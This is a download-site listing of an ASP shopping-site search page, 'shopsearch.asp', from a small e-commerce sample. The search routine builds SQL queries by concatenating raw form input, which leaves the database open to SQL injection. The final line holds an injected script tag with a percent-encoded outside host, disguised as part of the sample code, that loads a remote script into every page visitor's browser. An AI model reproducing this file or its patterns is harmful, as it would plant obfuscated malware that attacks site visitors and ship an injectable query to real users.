⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shopsearch.asp

📁 vb的一个事例,简单了一点,但实用的一个电子超市系统
💻 ASP
字号:
<%Option Explicit%>
<!--#include file="shop$db.asp"-->
<%

Session("CurrentURL")="shopsearch.asp"
Saction=Request.Form("Action")
Dim Words(10)
Dim wordcount
Dim delimiter
Dim sAction
Dim strKeyword
Dim rscat
Dim dbc
dim Rssubcat
Dim sqlSub
If SAction="" then
     ShopOpenDatabase dbc
     ShopPageHeader
     SQL = "SELECT * from categories"
     Set rscat = dbc.Execute(SQL)
     SearchDisplayForm()
     ShopCloseDatabase dbc
     ShopPageTrailer
Else
    Response.write "getting form data"
    SearchGetFormData
    SearchGenerateSQL      'generate search SQL 
    Response.Redirect "ShopDisplayproducts.asp?Search=Yes"
End if

' Generate SQL
Sub SearchGenerateSQL()
dim i
dim whereok
whereok=" WHERE "
SQL = "SELECT * FROM Products " 
if wordcount> 0  then
  SQL = SQL & whereok 
  SQL = SQL & "("
  Whereok="" 
  for i = 0 to wordcount-1
   SQL=SQL & whereok
    SQL = SQL & " ( 描述 Like '%" & words(i) & "%' "
    SQL = SQL & " OR    名称     like '%" & words(i) & "%'"
    SQL = SQL & " OR    体积     like '%" & words(i) & "%'"
   SQL = SQL & " )"
   whereok=" OR "
  next
  SQL = SQL & ")"
  whereok=" AND "
end if    
if strCategory <> "" then
   SQL=SQL & whereok 
   SQL = SQL &  " 类别ID = " & strCategory 
   whereok=" AND "
end if
if strSubCategory <> "" then
   SQL=SQL & whereok 
   SQL = SQL &  " 子类别ID = " & strSubCategory 
end if
Session("SQL")=SQL
Session("words")=Words
Session("wordcount")=wordcount
'debugwrite SQL
end sub

Sub SearchDisplayForm()
	Dim sRowColor
	sRowColor="#00aa99"
        Response.Write("<blockquote>")
%>
<p align="center">您可以利用搜索引擎选择某一类别来搜索某一商品或某一类别的所有商品!<br>
  关键字之间请用逗号分割,并且请不要超过 10个关键字!</p>
<%
	Response.Write("<h3 align='center'>商品搜索</h3>")
if sError <>"" then
	Response.Write("<font color=red>" & sError & "</font><p>")
end if
	Response.Write("<form name=form1 method=Post action=shopsearch.asp>")
	Response.Write("<table  cellspacing='1' cellpadding='2' bgcolor='#000000' align='center'>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>关键字:</td><td><input size=25 name=Keyword style='font-family: 宋体; font-size: 9pt;'></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>商品类别:</td><td>")
%>

  <select size="1" name="Category" style="font-family: 宋体; font-size: 9pt;">
    <option>所有商品类别</option>
<%
Do While NOT RSCat.EOF
   If RSCat("商品类别") <> "" Then
     response.write "<option value=" & RsCAt("类别ID") & ">" & RSCat("商品类别") & "</option>"
   End If
   RSCat.MoveNext
   Loop 
   rscat.close
%>
  </select>&nbsp;</b></font></p>
</td></tr>
<%
	Response.Write("</table><p align='center'>")
	Response.Write("<input type=submit name=action value=搜索 Now style='font-family: 宋体; font-size: 9pt;'>")
	Response.Write("</form>")
	Response.Write("</blockquote>")
 End Sub
Sub SearchGetFormData()
strCategory = Request.Form("Category")
if strCategory="所有商品类别" then
   strCategory=""
end if
strSubCategory = Request.Form("SubCategory")
if strSubCategory="所有商品类别" then
   strSubCategory=""
end if
'debugwrite "Subcategory=" & strsubcategory
strKeyword = Request.Form("Keyword")
if strkeyword<>"" then
  Delimiter=","
  parseRecord strkeyword, words, wordcount,delimiter
Else
  wordcount=0
end if
end sub
Sub ParseRecord (record,words,wordcount,delimiter)
Dim pos 
Dim recordl
Dim bytex
Dim temprec
Dim maxwords
Dim i
maxwords = 10
temprec = record
Dim maxentries
pos = 1
wordcount = 0
' make sure word array is null
maxentries = UBound(words)
For i = 0 To maxentries - 1
   words(i) = ""
Next
recordl = Len(temprec)
' first eliminate leading blanks
Do
   bytex = Mid(temprec, pos, 1)
   While bytex = " " And pos <= recordl
     pos = pos + 1
     bytex = Mid(temprec, pos, 1)
   
   Wend
' copy word into word array
   While bytex <> delimiter And pos <= recordl
     words(wordcount) = words(wordcount) & bytex
     pos = pos + 1
     bytex = Mid(temprec, pos, 1)
     
   Wend
   wordcount = wordcount + 1
   pos = pos + 1
   If wordcount > maxentries Then Exit Sub
Loop Until pos > recordl

End Sub

%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -